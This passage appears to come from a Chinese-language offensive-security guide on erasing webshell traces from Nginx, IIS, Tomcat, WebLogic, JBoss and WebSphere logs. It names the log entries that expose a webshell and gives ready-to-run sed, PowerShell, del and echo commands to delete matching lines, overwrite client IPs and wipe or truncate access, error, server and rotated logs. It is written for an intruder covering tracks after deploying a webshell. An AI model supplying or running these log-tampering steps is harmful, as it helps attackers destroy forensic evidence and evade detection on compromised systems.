| Access Log(访问日志) | 1. 客户端 IP 访问 webshell 文件的记录(如 GET /webshell.php HTTP/1.1、POST /shell.jsp HTTP/1.1) 2. 异常请求特征记录(如非浏览器 User-Agent、高频访问同一可疑路径、携带异常参数的请求) 3. 反向代理场景下,后端 webshell 对应的代理转发记录(如请求路径匹配反向代理规则) | 1. 直接删除日志文件:需同步删除历史轮转日志(Linux 下如 access.log.1、access.log.2.gz;Windows 下如 access.log.bak),避免残留痕迹 2. 定向删除敏感记录:Linux 用 sed 命令(如 sed -i '/webshell.php/d' /var/log/nginx/access.log),Windows 用 Notepad++ 等工具筛选并删除含可疑路径的行(操作前建议备份日志) 3. 覆盖敏感字段:若不便删除记录,可替换客户端 IP(如 sed -i 's/192.168.1.100/0.0.0.0/g' /var/log/nginx/access.log)或可疑路径,注意保持日志格式完整性 |
| Error Log(错误日志) | 1. webshell 执行错误触发的 500 错误记录(如代码语法错误、权限不足导致的文件读写失败) 2. 访问 webshell 衍生文件(如后门依赖的配置文件、临时文件)的 404 错误 3. Nginx 与后端服务(如 Tomcat、PHP-FPM)通信异常记录(如 webshell 触发后端服务崩溃导致的 502/504 错误) | 1. 参考 Access Log 处理逻辑,优先定向删除敏感错误行,避免直接删除整个日志文件(可能影响其他故障排查) 2. 若错误日志开启了 debug/info 级别,需重点清理 webshell 操作触发的详细调试信息(如文件打开路径、命令执行痕迹) |
额外注意:
- 自定义日志处理:若 Nginx 配置了按域名 / 业务拆分的自定义日志(如
access_xxx.com.log),需逐一检查对应日志文件,避免遗漏特定域名下的 webshell 痕迹- 日志轮转工具:Linux 下 Nginx 日志默认通过
logrotate管理(配置文件通常在/etc/logrotate.d/nginx),需检查轮转后的压缩日志(如access.log.1.gz),需先解压再清理;Windows 下若手动配置了 LogRotateWin、WinLogRotate 等工具,需同步清理切割后的历史日志- 反向代理场景:若 Nginx 作为反向代理,需同时检查后端服务(如 Tomcat 的 access log、PHP-FPM 的 error log),避免仅清理 Nginx 日志而残留后端痕迹
清理
细微清理
# 替换为你的 access.log 实际路径
$logPath = "C:\nginx\logs\access.log"
# 读取文件内容,过滤掉包含 "shell.php" 的行,再写回文件
(Get-Content $logPath) | Where-Object { $_ -notmatch "shell.php" } | Set-Content $logPath
$logPath = "C:\nginx\log\access.log"
# 注意 IP 中的点需要转义(用 \.),避免被当作正则通配符
(Get-Content $logPath) | Where-Object { $_ -notmatch "123\.123\.123\.123" } | Set-Content $logPath
暴力清理
del C:\nginx\logs\access.log
echo. > C:\nginx\logs\access.log
五、核心总结
| 维度 | Linux 系统 | Windows 系统 |
|---|---|---|
| 核心日志类型 | Access Log(访问)、Error Log(错误)、自定义日志(可选) | 同 Linux |
| 默认日志路径(标准安装) | Access Log:/var/log/nginx/access.log;Error Log:/var/log/nginx/error.log | Access Log:Nginx安装目录/logs/access.log(如 D:\nginx-1.24.0\logs\access.log);Error Log:Nginx安装目录/logs/error.log |
| 配置文件位置 | 主配置文件:/etc/nginx/nginx.conf;虚拟主机配置:/etc/nginx/conf.d/(或 /etc/nginx/sites-available/) | 主配置文件:Nginx安装目录/conf/nginx.conf(如 D:\nginx-1.24.0\conf\nginx.conf) |
| webshell 痕迹重点 | 1. Access Log 中的可疑访问路径、异常请求 2. Error Log 中的 500/404/502 错误记录 3. 日志轮转后的历史压缩日志( access.log.1.gz 等) | 1. 同 Linux 日志痕迹类型 2. 手动切割的备份日志( access.log.bak 等) 3. 需注意路径分隔符为 \(如 D:\nginx-1.24.0\logs\access.log) |
3)IIS 日志
del /f /s /q "%SystemDrive%\inetpub\logs\LogFiles\*.*"

4)tomcat
conf/logging.properties → 配置日志怎么记。
logs/catalina.xx.log → Tomcat 整体的启动/停止日志。
logs/host-manager.xx.log → Host Manager 应用日志。
logs/localhost.xx.log → 本地虚拟主机运行的 Web 应用日志(异常多在这里)。
logs/manager.xx.log → Manager 应用的管理操作日志。
1. tomcat 日志信息分为两类:
- 运行中的日志,它主要记录运行的一些信息,尤其是些异常错误日志信息 。
- 访问日志信息,它记录的访问的时间、IP 、访问的资料等相关信息。
2. 快速找到 tomcat 安装路径的手法
默认安装路径:
安装版(exe安装器):
C:\Program Files\Apache Software Foundation\Tomcat X.Y\
C:\Program Files (x86)\Apache Software Foundation\Tomcat X.Y\
(X.Y 表示版本号,例如 Tomcat 9.0)
解压版(zip下载):
常见放在:C:\tomcat\ 或 D:\tomcat\,具体看当时解压位置。
-
任务管理器 → 查看进程路径
-
找到
tomcat.exe或java.exe(运行 Tomcat 的那个进程)。 -
右键 → 打开文件所在位置。
-
-
检查环境变量
echo %CATALINA_HOME%如果有配置,会直接显示目录。
-
全盘搜索
在资源管理器搜索catalina.bat,它所在目录的上一级就是 Tomcat 根目录。
3. 记录系统启、关闭日志、管理日志和异常信息:
conf/logging.properties→ 配置日志怎么记。logs/catalina.xx.log→ Tomcat 整体的启动/停止日志。logs/host-manager.xx.log→ Host Manager 应用日志。logs/localhost.xx.log→ 本地虚拟主机运行的 Web 应用日志(异常多在这里)。logs/manager.xx.log→ Manager 应用的管理操作日志。
🔑 重点关注的日志
-
logs/localhost.xx.log-
这是 Web 应用异常日志,Tomcat 在处理请求时如果抛了异常(比如 JSP 报错、Servlet 错误、栈回溯),就会写进这里。
-
WebShell 一旦执行出错(比如命令执行失败、语法错误),就会在这里留下明显痕迹。
-
✅ 所以这是你要重点清理的文件。
-
-
logs/manager.xx.log(如果用过 Manager 部署)-
如果你是通过 Manager 应用上传 war 包 / 部署 WebShell 的话,这里会有操作日志。
-
只要用过 Manager,这个必须改。
-
⚪ 次要日志(通常不涉及 WebShell)
-
logs/catalina.xx.log-
主要记录 Tomcat 启动、关闭,或者一些系统级信息。
-
WebShell 的请求一般不会直接出现在这里,除非伴随严重错误。
-
-
logs/host-manager.xx.log- 只有你操作过 Host Manager(虚拟主机管理),才会有记录。大多数情况下和 WebShell 无关。
-
WebShell相关 → 必清 👉
localhost.xx.log -
如果走 Manager 部署过 → 也要清 👉
manager.xx.log -
Catalina、Host-manager → 正常留着,别动
详细介绍
Tomcat 在运行时会在 logs/ 目录下生成日志文件,常见的有:
-
catalina.xx.log-
Catalina 是 Tomcat 的核心组件。
-
这个日志里主要记录 Tomcat 启动、运行、关闭过程中的信息。
-
举例:启动报错、JVM 参数输出、Tomcat 停止时的信息。
-
-
host-manager.xx.log-
记录 Tomcat Host Manager 应用 的相关日志。
-
Host Manager 是用来管理虚拟主机的 Web 应用(比如动态添加、删除虚拟主机)。
-
如果你用过
http://localhost:8080/host-manager/html,相关操作日志就会在这里。
-
-
localhost.xx.log-
记录在 本地主机(localhost)虚拟主机 上运行的 Web 应用抛出的异常或错误。
-
比如:某个应用 JSP 语法错误、Servlet 抛异常,这些会写到这里。
-
-
manager.xx.log-
记录 Tomcat Manager 应用 的日志。
-
Manager 是用来管理 Web 应用的工具(比如上传、卸载、启动、停止应用)。
-
如果你用过
http://localhost:8080/manager/html,操作日志会出现在这里。
-
清理
# 1. 清空单个日志(CMD 命令)
echo. > C:\Tomcat\logs\catalina.out
# 2. 删除指定日志(CMD 命令)
del /f /q C:\Tomcat\logs\catalina.2024-08-*.log # 删除 8 月的 catalina 日志
del /f /q C:\Tomcat\logs\access_log.*.txt # 删除所有访问日志
# 3. PowerShell 按时间删除(保留近 7 天,删除更早的)
Get-ChildItem "C:\Tomcat\logs" -Include *.log,*.txt -Recurse | Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-7) } | Remove-Item -Force
5)WebLogic
默认配置情况下,WebLogic会有三种⽇志,分别是access log, Server log和domain log。
WebLogic 9及以后版本:
access log在 $MW_HOME\user_projects\domains\<domain_name>\servers\<server_name>\logs\access.log
server log在 $MW_HOME\user_projects\domains\<domain_name>\servers\<server_name>\logs\<server_name>.log
domain log在 $MW_HOME\user_projects\domains\<domain_name>\servers\<adminserver_name>\logs\<domain_name>.log
WebLogic 8.x 版本:
access log在 $MW_HOME\user_projects\domains\<domain_name>\<server_name>\access.log
server log在 $MW_HOME\user_projects\domains\<domain_name>\<server_name>\<server_name>.log
domain log在 $MW_HOME\user_projects\domains\<domain_name>\<domain_name>.log
在默认配置下,WebLogic 服务器主要生成三类核心日志文件:Access Log(访问日志)、Server Log(服务器日志) 和 Domain Log(域日志)。不同版本的 WebLogic 日志存储路径存在差异,且在 Windows 和 Linux 系统中因路径分隔符和环境变量格式的不同,写法也有所区别。以下按版本分类整理,清晰呈现各日志的路径规则及跨系统差异。
一、基础概念与系统差异说明
1. 核心日志类型
- Access Log:记录客户端对 WebLogic 服务器的 HTTP 访问请求,包含请求时间、IP 地址、URL 等详细信息
- Server Log:记录单个服务器实例的运行日志,包含启动 / 停止、错误、警告等服务器级事件
- Domain Log:记录整个域(Domain)的汇总日志,包含所有服务器实例的关键事件
2. 跨系统路径差异核心
不同操作系统的路径表示方式存在基础差异,WebLogic 日志路径遵循以下规则:
| 系统类型 | 路径分隔符 | 环境变量格式 | 示例(中间件根目录) |
|---|---|---|---|
| Windows | \(反斜杠) | %变量名% | %MW_HOME% |
| Linux | /(正斜杠) | $变量名 | $MW_HOME |
说明:
MW_HOME为 WebLogic 中间件安装根目录的环境变量,所有日志路径均基于此目录展开
二、WebLogic 9 及以后版本(主流版本)
日志路径结构围绕 "域(domain)- 服务器(server)" 层级展开,包含 "servers" 目录和单独的 "logs" 子目录。
各日志类型的系统路径对比
| 日志类型 | Windows 系统路径 | 说明 |
|---|---|---|
| Access Log | %MW_HOME%\user_projects\domains\<domain_name>\servers\<server_name>\logs\access.log | 记录 HTTP 访问请求细节 |
| Server Log | %MW_HOME%\user_projects\domains\<domain_name>\servers\<server_name>\logs\<server_name>.log | 记录单个服务器实例的运行事件 |
| Domain Log | %MW_HOME%\user_projects\domains\<domain_name>\servers\<admin_server_name>\logs\<domain_name>.log | 需通过管理服务器(Admin Server)存储的域级汇总日志 |
变量说明
<domain_name>:WebLogic 域的名称(用户创建域时自定义)<server_name>:具体服务器实例的名称(如受管服务器)<admin_server_name>:管理服务器的名称(域创建时默认或自定义)
三、WebLogic 8.x 版本(旧版本)
日志路径层级相对简化,未单独区分 "servers" 目录,直接以 "域 - 服务器" 为路径结构,且无单独的 "logs" 子目录。
各日志类型的系统路径对比
| 日志类型 | Windows 系统路径 | 说明 |
|---|---|---|
| Access Log | %MW_HOME%\user_projects\domains\<domain_name>\<server_name>\access.log | 功能同 9+ 版本,记录 HTTP 访问请求细节 |
| Server Log | %MW_HOME%\user_projects\domains\<domain_name>\<server_name>\<server_name>.log | 功能同 9+ 版本,记录单个服务器实例的运行事件 |
| Domain Log | %MW_HOME%\user_projects\domains\<domain_name>\<domain_name>.log | 直接存储在域根目录下的域级汇总日志,无需通过管理服务器路径 |
四、版本与系统差异总结
1. 版本间核心差异
| 对比维度 | WebLogic 9 及以后版本 | WebLogic 8.x 版本 |
|---|---|---|
| 路径层级 | 多 "servers" 目录(域→servers→服务器→logs) | 无 "servers" 目录(域→服务器) |
| Domain Log 存储 | 需通过管理服务器的 logs 目录 | 直接存储在域根目录下 |
| Logs 目录位置 | 每个服务器实例目录下单独包含 "logs" 子目录 | 无单独 "logs" 子目录 |
2. 系统间使用注意事项
- 在实际操作中,需严格区分路径分隔符(
\用于 Windows,/用于 Linux) - 环境变量引用格式需与操作系统匹配(
%MW_HOME%用于 Windows,$MW_HOME用于 Linux) - 路径中的变量(如
<domain_name>)需替换为实际环境中的名称 - 混用分隔符或环境变量格式会导致路径无效,无法正常访问日志文件
五、快速定位 WebLogic 安装路径(MW_HOME)的方法
WebLogic 的安装路径即 MW_HOME(中间件根目录),可通过以下方法快速定位:
1. 基于环境变量查询
WebLogic 安装后通常会配置 MW_HOME 环境变量,直接查询即可:
-
Windows:
打开 “命令提示符” 或 “PowerShell”,执行:echo %MW_HOME%若返回路径(如
C:\Oracle\Middleware\Oracle_Home),即为安装路径。
2. 通过进程信息查询
若 WebLogic 服务器正在运行,可通过进程详情定位安装路径:
-
Windows:
打开 “任务管理器”→“详细信息”,找到 WebLogic 相关进程(通常包含weblogic.Server关键字),右键 “打开文件位置”,即可定位到 Java 执行路径,其上级目录通常包含MW_HOME。
或通过命令行:wmic process where "name like '%java%' and commandline like '%weblogic%'" get commandline命令输出中会包含
-Dweblogic.home等参数,其路径通常在MW_HOME下(如%MW_HOME%\wlserver)。
3. 通过域配置文件查询
WebLogic 的域(Domain)配置文件中会记录 MW_HOME 路径:
- 域的配置文件
config.xml位置:- WebLogic 9+:
%MW_HOME%\user_projects\domains\<domain_name>\config\config.xml。 - 打开该文件,搜索
MW_HOME或WL_HOME(通常指向MW_HOME/wlserver),可反推MW_HOME路径。
- WebLogic 9+:
4. 常见默认安装路径
- Windows:通常在
C:\Oracle\Middleware\或C:\Program Files\Oracle\Middleware\。
C:\Oracle\Middleware\
C:\Program Files\Oracle\Middleware\
<MIDDLEWARE_HOME>\wlserver_10.3\
<MIDDLEWARE_HOME>\wlserver_12.1\
<MIDDLEWARE_HOME>\wlserver_12.2\
六、webshell 痕迹清除需重点关注的日志文件及路径
webshell 的核心行为通常包括 HTTP 访问(如连接 webshell 路径)、服务器端异常操作(如文件写入、命令执行) 等,对应的关键日志如下:
1. Access Log(访问日志)
- 作用:记录所有客户端对 WebLogic 服务器的 HTTP/HTTPS 请求,包括请求时间、客户端 IP、访问的 URL 路径、请求方法(GET/POST)、状态码等。
若 webshell 是通过 HTTP 访问(如http://xxx/webshell.jsp),会在此日志中留下明确痕迹。 - 路径(区分版本和系统):
-
WebLogic 9 及以后版本:
- Windows:
%MW_HOME%\user_projects\domains\<domain_name>\servers\<server_name>\logs\access.log
- Windows:
-
WebLogic 8.x 版本:
- Windows:
%MW_HOME%\user_projects\domains\<domain_name>\<server_name>\access.log
- Windows:
-
2. Server Log(服务器日志)
- 作用:记录服务器实例的运行细节,包括启动 / 停止事件、错误(Error)、警告(Warning)、异常(Exception)、部署操作、文件系统修改(如 JSP/Servlet 编译)等。
若 webshell 执行了异常操作(如调用危险 API、修改系统配置),可能触发服务器级别的错误日志;若 webshell 是通过文件上传写入的,也可能在日志中留下文件创建 / 修改的记录。 - 路径(区分版本和系统):
-
WebLogic 9 及以后版本:
- Windows:
%MW_HOME%\user_projects\domains\<domain_name>\servers\<server_name>\logs\<server_name>.log
- Windows:
-
WebLogic 8.x 版本:
- Windows:
%MW_HOME%\user_projects\domains\<domain_name>\<server_name>\<server_name>.log
- Windows:
-
3. Domain Log(域日志)
- 作用:汇总整个域(Domain)内所有服务器实例的关键事件,包括管理操作、跨服务器的异常等。
若 webshell 影响范围涉及整个域(如通过管理服务器部署),可能在此日志中留下痕迹。 - 路径(区分版本和系统):
-
WebLogic 9 及以后版本:
- Windows:
%MW_HOME%\user_projects\domains\<domain_name>\servers\<admin_server_name>\logs\<domain_name>.log
- Windows:
-
WebLogic 8.x 版本:
- Windows:
%MW_HOME%\user_projects\domains\<domain_name>\<domain_name>.log
- Windows:
-
4. 额外注意:操作系统级日志
除 WebLogic 自身日志外,还需关注操作系统日志(如 Linux 的 /var/log/secure 记录 SSH 登录,/var/log/messages 记录系统级操作;Windows 的 “事件查看器” 中的 “系统日志”“安全日志”),避免遗漏 webshell 相关的系统命令执行、文件操作痕迹。
清理
# 1. 清空服务器日志(CMD)
echo. > "C:\Oracle\domains\base_domain\servers\AdminServer\logs\AdminServer.log"
# 2. 删除历史日志文件(CMD)
del /f /q "C:\Oracle\domains\base_domain\servers\AdminServer\logs\AdminServer.log*.gz"
# 3. PowerShell 按时间删除(保留近 10 天)
Get-ChildItem "C:\Oracle\domains\base_domain\servers" -Include *.log,*.log*.gz -Recurse |
Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-10) } |
Remove-Item -Force
6)Jboss
Jboss 的配置文件和日志文件 jboss-log4j.xml:
如:
server/XXX/conf/jboss-log4j.xml
server/XXX/log/server.log
一、JBoss 核心日志类型及默认路径
JBoss(WildFly)的日志体系相对复杂,默认包含服务器运行日志、访问日志和域日志(域模式下),不同运行模式(独立模式 / 域模式)和操作系统的路径存在差异:
| 日志类型 | 独立模式(Standalone)默认路径 | 域模式(Domain)默认路径 | 核心作用 |
|---|---|---|---|
| 服务器日志 | %JBOSS_HOME%\standalone\log\server.log | %JBOSS_HOME%\domain\log\host-controller.log(主机控制器) %JBOSS_HOME%\domain\log\server\<server_name>\server.log(服务器实例) | 同 Linux 系统 |
| 访问日志 | %JBOSS_HOME%\standalone\log\access.log(需手动开启) | %JBOSS_HOME%\domain\log\access.log(需手动开启) | 同 Linux 系统,默认不启用 |
| 域日志(可选) | 无(独立模式无域) | %JBOSS_HOME%\domain\log\domain-controller.log | 同 Linux 系统 |
说明:
%JBOSS_HOME%为 Windows 下的 JBoss 安装目录(如C:\wildfly-26.0.0.Final)。
二、JBoss 日志配置与路径定位
1. 日志配置文件位置
JBoss 日志通过 XML 配置文件管理,可在配置文件中修改日志路径、级别等:
- 独立模式:或
%JBOSS_HOME%\standalone\configuration\standalone.xml - 域模式:
%JBOSS_HOME%\domain\configuration\domain.xml
定位日志路径:打开配置文件,搜索
<subsystem xmlns="urn:jboss:domain:logging:x.x">节点,其中<file relative-to="jboss.server.log.dir" path="server.log"/>定义了日志文件路径(jboss.server.log.dir为内置变量,指向日志目录)。
2. 快速定位 JBoss 安装目录($JBOSS_HOME)
| 系统类型 | 定位方法 |
|---|---|
| 服务器日志 | 1. 执行 echo $JBOSS_HOME 查看环境变量(若配置); 2. 查看进程: ps -ef | grep jboss或ps -ef | grep jboss或ps -ef | grep wildfly,输出中含 -Djboss.home.dir=/opt/wildfly 即为安装目录 |
| 访问日志 | 1. 执行 echo %JBOSS_HOME% 查看环境变量; 2. 查看服务属性:若以服务运行,在 “服务” 中找到 JBoss 服务,右键 “属性” 查看 “可执行文件路径”(含安装目录) |
三、webshell 痕迹清除需重点关注的 JBoss 日志
JBoss 环境中 webshell 通常以 JSP/Servlet 形式存在,需重点清理以下日志中的痕迹:
| 日志类型 | 需清除的关键痕迹 | 操作建议 |
|---|---|---|
| 服务器日志 | 1. webshell 上传 / 部署时的文件操作记录(如 Deploying web application directory) 2. 执行异常触发的 Java 堆栈日志(如 java.lang.RuntimeException 含 webshell 路径) 3. 权限不足导致的错误(如 Permission denied 涉及 webshell 文件) | 1. 直接删除日志文件:需同步删除滚动日志(如 server.log.1、server.log.2.gz) 2. 定向删除敏感行:Linux 用 sed -i '/webshell.jsp/d' server.log,Windows 用文本工具筛选并删除含可疑路径的记录 3. 注意域模式下需清理所有服务器实例的日志文件 |
| 访问日志 | 1. 客户端 IP 访问 webshell 的记录(如 GET /webshell.jsp HTTP/1.1) 2. 向 webshell 提交命令的 POST 请求(含异常参数) | 1. 若启用访问日志,按服务器日志处理方式清理 2. 若未找到访问日志,需确认是否在配置文件中自定义了路径(如 <access-log pattern="..."/> 节点) |
额外注意:
- 日志滚动机制:JBoss 默认启用日志滚动(按大小或时间切割),需检查
log目录下的所有历史日志(如server.log.*)- 审计日志:若启用了 JBoss 审计日志(如
audit.log),需同步清理其中的敏感操作记录- 操作系统日志:Linux 需检查
/var/log/secure(SSH 登录)、/var/log/messages(系统命令);Windows 需检查 “事件查看器” 中的安全日志 |
清理
# 1. 清空服务器日志(CMD)
echo. > "C:\jboss\wildfly\standalone\log\server.log"
# 2. 删除历史日志(CMD)
del /f /q "C:\jboss\wildfly\standalone\log\server.log.*"
del /f /q "C:\jboss\wildfly\standalone\log\access_log.202*.log"
# 3. PowerShell 按时间删除(保留近 7 天)
Get-ChildItem "C:\jboss\wildfly\standalone\log" -Include server.log*,access_log* -Recurse |
Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-7) } |
Remove-Item -Force
四、核心总结
| 维度 | Windows 系统 |
|---|---|
| 核心日志类型 | 服务器日志(server.log)、访问日志(access.log,需开启)、域日志(域模式) |
| 默认日志路径 | 独立模式:%JBOSS_HOME%\standalone\log\;域模式:%JBOSS_HOME%\domain\log\ |
| 配置文件位置 | 独立模式:standalone\configuration\standalone.xml;域模式:domain\configuration\domain.xml |
| webshell 痕迹重点 | 服务器日志中的异常堆栈、文件操作记录;访问日志中的可疑请求;滚动日志文件,注意路径分隔符为 \,需清理 .log 及 .log.* 格式的历史文件 |
7)WebSphere
WebSphere 的默认路径:
IBM\WebSphere\AppServer\profiles\AppSrv01\logs\server1\SystemOut.log
一、WebSphere 核心日志类型及默认路径
WebSphere 日志默认存储在配置文件存储库或服务器实例目录下,核心区分「独立服务器模式」和「集群模式」,跨系统差异主要体现在路径分隔符和环境变量格式。
| 日志类型 | 独立服务器模式默认路径 | 集群模式默认路径(含节点 / 集群区分) | 核心作用 |
|---|---|---|---|
| 服务器日志 | %WAS_HOME%\profiles\<profile_name>\logs\<server_name>\SystemOut.log(标准输出) %WAS_HOME%\profiles\<profile_name>\logs\<server_name>\SystemErr.log(标准错误) | %WAS_HOME%\profiles\<profile_name>\logs\<server_name>\SystemOut.log(节点服务器) %WAS_HOME%\profiles\<dmgr_profile>\logs\dmgr\SystemOut.log(部署管理器) | 同 Linux 系统,记录应用与服务运行的关键事件和异常堆栈 |
| 访问日志 | %WAS_HOME%\profiles\<profile_name>\logs\<server_name>\http_access.log | %WAS_HOME%\profiles\<profile_name>\logs\<server_name>\http_access.log(节点服务器) | 同 Linux 系统,记录客户端 HTTP 访问细节 |
| 系统日志 | %WAS_HOME%\profiles\<profile_name>\logs\<server_name>\activity.log | %WAS_HOME%\profiles\<profile_name>\logs\<server_name>\activity.log(节点服务器) %WAS_HOME%\profiles\<dmgr_profile>\logs\dmgr\activity.log(部署管理器) | 同 Linux 系统,记录系统级管理操作 |
关键变量说明:
-%WAS_HOME%:Windows 下 WebSphere 安装目录(如C:\IBM\WebSphere\AppServer);
- 路径分隔符为
\,其他变量(<profile_name>/<server_name>)含义与 Linux 一致。
二、WebSphere 日志配置与安装路径定位
1. 日志配置文件位置
WebSphere 日志的路径、级别、滚动策略通过管理控制台或配置文件修改,核心配置文件如下:
- 独立服务器 / 集群节点:
%WAS_HOME%\profiles\<profile_name>\config\cells\<cell_name>\nodes\<node_name>\servers\<server_name>\server.xml - 部署管理器(集群模式):
%WAS_HOME%\profiles<dmgr_profile>\config\cells<cell_name>\dmgr\dmgr.xml`
配置修改方式:通过 WebSphere 管理控制台(默认端口 9060,路径
http://<host>:9060/ibm/console)→「服务器」→「服务器类型」→「WebSphere 应用服务器」→ 选择目标服务器 →「故障诊断」→「日志和跟踪」,可可视化调整日志路径、级别及滚动规则。
2. 快速定位 WebSphere 安装路径($WAS_HOME/% WAS_HOME%)
| 系统类型 | 定位方法 |
|---|---|
| Windows | 1. 环境变量查询:打开「命令提示符」,执行 echo %WAS_HOME%; 2. 服务属性查询:在「服务」中找到 WebSphere 相关服务(如 IBM WebSphere Application Server V9.0 - server1),右键「属性」→「可执行文件路径」,路径中 bin\java.exe 的上级目录即为 %WAS_HOME%(如 C:\IBM\WebSphere\AppServer\bin\java.exe → C:\IBM\WebSphere\AppServer); 3. 默认路径参考: C:\IBM\WebSphere\AppServer、D:\Program Files\IBM\WebSphere\AppServer |
三、webshell 痕迹清除需重点关注的 WebSphere 日志
WebSphere 环境中 webshell 多为 JSP/Servlet 形式,可能通过应用部署、文件上传植入,需重点清理以下日志中的敏感痕迹:
| 日志类型 | 需清除的关键痕迹 | 操作建议 |
|---|---|---|
| SystemOut.log / SystemErr.log | 1. webshell 执行错误触发的 Java 异常堆栈(如 java.lang.RuntimeException: 命令执行失败,含 webshell 路径); 2. webshell 上传 / 写入时的文件操作记录(如 File created: /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/installedApps/<cell_name>/<app_name>.ear/<app_name>.war/webshell.jsp); 3. 应用重新部署时的 webshell 关联记录(如 Deploying application: <app_name>.ear 且包含 webshell 所在应用) | 1. 直接删除日志文件:需同步删除滚动日志(如 SystemOut.log.1、SystemOut.log.2.gz,WebSphere 默认按大小 / 时间切割日志); 2. 定向删除敏感行:Linux 用 sed -i '/webshell.jsp/d' SystemOut.log(需谨慎,避免破坏日志格式),Windows 用 Notepad++ 筛选含可疑路径 / 异常关键字的行并删除; 3. 集群模式注意:需清理所有节点服务器及部署管理器的 SystemOut.log/SystemErr.log,避免遗漏集群内痕迹 |
| http_access.log | 1. 客户端 IP 访问 webshell 的记录(如 192.168.1.100 - - [20/Oct/2024:14:30:00 +0800] "GET /<app_context>/webshell.jsp HTTP/1.1" 200 1234); 2. 向 webshell 提交命令的异常 POST 请求(如 POST /<app_context>/webshell.jsp?cmd=whoami HTTP/1.1) | 1. 清理方式同服务器日志,需覆盖所有滚动日志(如 http_access.log.1); 2. 若访问日志按虚拟主机拆分(自定义配置),需检查 logs 目录下所有含 access 关键字的日志文件(如 http_access_vhost1.log) |
| activity.log | 1. 若 webshell 通过管理控制台部署(如上传恶意 WAR 包),会留下「应用部署」操作记录(如 User admin deployed application <malicious_app>.war); 2. 涉及 webshell 所在应用的配置修改记录(如「修改应用上下文路径」「启用文件读写权限」) | 1. 优先定向删除含恶意应用名称、webshell 关联操作的记录; 2. 若记录无法拆分,可删除整个 activity.log 及滚动文件(注意:会丢失系统管理操作记录,需权衡) |
额外注意:
1. 应用安装目录日志:WebSphere 应用默认安装在$WAS_HOME/profiles/<profile_name>/installedApps/<cell_name>/(Linux),若 webshell 植入后触发应用日志(如应用自身的log4j日志),需同步清理该目录下的应用日志;
2. 操作系统日志:Linux 需检查/var/log/secure(SSH 登录植入 webshell)、/var/log/messages(系统命令执行);Windows 需检查「事件查看器」→「Windows 日志」→「安全」(登录事件)和「系统」(服务启动 / 停止);
3. 部署管理器日志(集群模式):若 webshell 通过集群同步扩散,需清理部署管理器的SystemOut.log和activity.log,避免残留集群同步记录。
清理
# 1. 清空系统日志(CMD)
echo. > "C:\IBM\WebSphere\AppServer\profiles\AppSrv01\logs\server1\SystemOut.log"
echo. > "C:\IBM\WebSphere\AppServer\profiles\AppSrv01\logs\server1\SystemErr.log"
# 2. 删除历史日志(CMD)
del /f /q "C:\IBM\WebSphere\AppServer\profiles\AppSrv01\logs\server1\SystemOut_*.log"
del /f /q "C:\IBM\WebSphere\AppServer\profiles\AppSrv01\logs\server1\SystemErr_*.log"
# 3. PowerShell 按时间删除(保留近 5 天)
Get-ChildItem "C:\IBM\WebSphere\AppServer\profiles\AppSrv01\logs" -Include SystemOut_*.log,SystemErr_*.log,http_access*.log -Recurse |
Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-5) } |
Remove-Item -Force
四、核心总结
| 维度 | Windows 系统 |
|---|---|
| 核心日志类型 | 服务器日志(SystemOut.log/SystemErr.log)、访问日志(http_access.log)、系统日志(activity.log) |
| 默认日志路径 | 独立模式:%WAS_HOME%\profiles\<profile_name>\logs\<server_name>\; 集群模式:节点服务器同独立模式,部署管理器: %WAS_HOME%\profiles\<dmgr_profile>\logs\dmgr\ |
| 配置文件位置 | 服务器配置:%WAS_HOME%\profiles\<profile_name>\config\cells\<cell_name>\nodes\<node_name>\servers\<server_name>\server.xml |
| webshell 痕迹重点 | 1. SystemOut.log/SystemErr.log 中的异常堆栈、文件操作记录; 2. http_access.log 中的可疑访问请求; 3. 滚动日志(.log.1/.log.2.gz)及集群部署管理器日志; 4. 路径分隔符为 \,需注意清理 .log 及 .log.* 格式的历史文件; 5. 应用安装目录下的自定义日志(如 log4j 日志) |